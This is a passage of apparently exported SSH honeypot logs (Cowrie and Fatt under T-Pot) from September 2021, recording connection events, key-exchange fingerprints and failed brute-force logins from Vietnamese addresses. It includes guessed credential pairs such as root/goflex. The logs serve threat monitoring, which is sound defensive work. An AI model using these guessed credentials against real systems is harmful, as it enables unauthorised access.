"ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7e70e98bbfd3", "@version": "1", "timestamp": "2021-09-20T11:06:57.639824Z", "@timestamp": "2021-09-20T11:06:57.639Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22260	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:57.673636+03	2021-09-20 14:15:04.703652+03	{"_id": "uQbjAnwBvYTbRNuEOQTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6b231ad97296", "@version": "1", "duration": 2.4436514377593994, "timestamp": "2021-09-20T11:06:57.673636Z", "@timestamp": "2021-09-20T11:06:57.673Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22261	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:57.697895+03	2021-09-20 14:15:04.705643+03	{"_id": "ugbjAnwBvYTbRNuEOQTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5359a7b6c7bf", "@version": "1", "duration": 2.777630567550659, "timestamp": "2021-09-20T11:06:57.697895Z", "@timestamp": "2021-09-20T11:06:57.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22262	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:57.281546+03	2021-09-20 14:15:04.707611+03	{"_id": "0QbjAnwBvYTbRNuEOQTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54548, "timestamp": "2021-09-20T11:06:57.281546", "@timestamp": "2021-09-20T11:06:57.281Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22263	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:57.328117+03	2021-09-20 14:15:04.708611+03	{"_id": "0wbjAnwBvYTbRNuEOQTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51052, "timestamp": "2021-09-20T11:06:57.328117", "@timestamp": "2021-09-20T11:06:57.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22264	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:58.117874+03	2021-09-20 14:15:04.709614+03	{"_id": "vwbjAnwBvYTbRNuEOQTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f6baa6edb2b0", "@version": "1", "timestamp": "2021-09-20T11:06:58.117874Z", "@timestamp": "2021-09-20T11:06:58.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22285	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:58.50253+03	2021-09-20 14:15:04.739614+03	{"_id": "UgbjAnwBvYTbRNuEPQW7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 13 seconds", "session": "6872d04b1153", "@version": "1", "duration": 13.552043914794922, "timestamp": "2021-09-20T11:06:58.502530Z", "@timestamp": "2021-09-20T11:06:58.502Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22265	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:57.871376+03	2021-09-20 14:15:04.711613+03	{"_id": "1gbjAnwBvYTbRNuEOQTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49128, "timestamp": "2021-09-20T11:06:57.871376", "@timestamp": "2021-09-20T11:06:57.871Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22266	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:57.78294+03	2021-09-20 14:15:04.712612+03	{"_id": "2AbjAnwBvYTbRNuEOQTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ab4c74b72514", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:57.782940Z", "@timestamp": "2021-09-20T11:06:57.782Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22267	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.279423+03	2021-09-20 14:15:04.713642+03	{"_id": "-gbjAnwBvYTbRNuEOQTU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "31a25cff8312", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:57.279423Z", "@timestamp": "2021-09-20T11:06:57.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22268	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.522001+03	2021-09-20 14:15:04.714639+03	{"_id": "-wbjAnwBvYTbRNuEOQTU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "31a25cff8312", "@version": "1", "timestamp": "2021-09-20T11:06:57.522001Z", "@timestamp": "2021-09-20T11:06:57.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22269	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.544658+03	2021-09-20 14:15:04.716642+03	{"_id": "_AbjAnwBvYTbRNuEOQTU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/goflex] failed", "session": "2d7ce8d0fb65", "@version": "1", "password": "goflex", "username": "root", "timestamp": "2021-09-20T11:06:57.544658Z", "@timestamp": "2021-09-20T11:06:57.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22270	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:57.553171+03	2021-09-20 14:15:04.717642+03	{"_id": "_QbjAnwBvYTbRNuEOQTU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [master/master] failed", "session": "dbae079c7f08", "@version": "1", "password": "master", "username": "master", "timestamp": "2021-09-20T11:06:57.553171Z", "@timestamp": "2021-09-20T11:06:57.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22271	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.637227+03	2021-09-20 14:15:04.718612+03	{"_id": "_gbjAnwBvYTbRNuEOQTU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7e70e98bbfd3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:57.637227Z", "@timestamp": "2021-09-20T11:06:57.637Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22272	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.844314+03	2021-09-20 14:15:04.720642+03	{"_id": "_wbjAnwBvYTbRNuEOQTU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f6baa6edb2b0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:57.844314Z", "@timestamp": "2021-09-20T11:06:57.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
